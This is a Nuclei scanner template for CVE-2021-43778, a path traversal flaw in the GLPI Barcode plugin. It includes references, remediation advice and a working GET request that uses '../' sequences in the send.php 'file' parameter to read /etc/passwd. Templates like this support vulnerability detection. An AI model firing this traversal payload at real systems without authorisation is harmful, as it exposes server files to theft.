nuclei-templates/http/cves/2021/CVE-2021-43778.yaml

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1.4 KiB
YAML

id: CVE-2021-43778
info:
name: GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.
author: cckuailong
severity: high
description: Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.
remediation: Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file.
reference:
- https://github.com/AK-blank/CVE-2021-43778
- https://nvd.nist.gov/vuln/detail/CVE-2021-43778
- https://github.com/pluginsGLPI/barcode/security/advisories/GHSA-2pjh-h828-wcw9
- https://github.com/pluginsGLPI/barcode/releases/tag/2.6.1
- https://github.com/pluginsGLPI/barcode/commit/428c3d9adfb446e8492b1c2b7affb3d34072ff46
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-43778
cwe-id: CWE-22
epss-score: 0.75886
epss-percentile: 0.97757
cpe: cpe:2.3:a:glpi-project:barcode:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: glpi-project
product: barcode
tags: glpi,cve,cve2021,lfi,plugin,traversal
http:
- method: GET
path:
- "{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200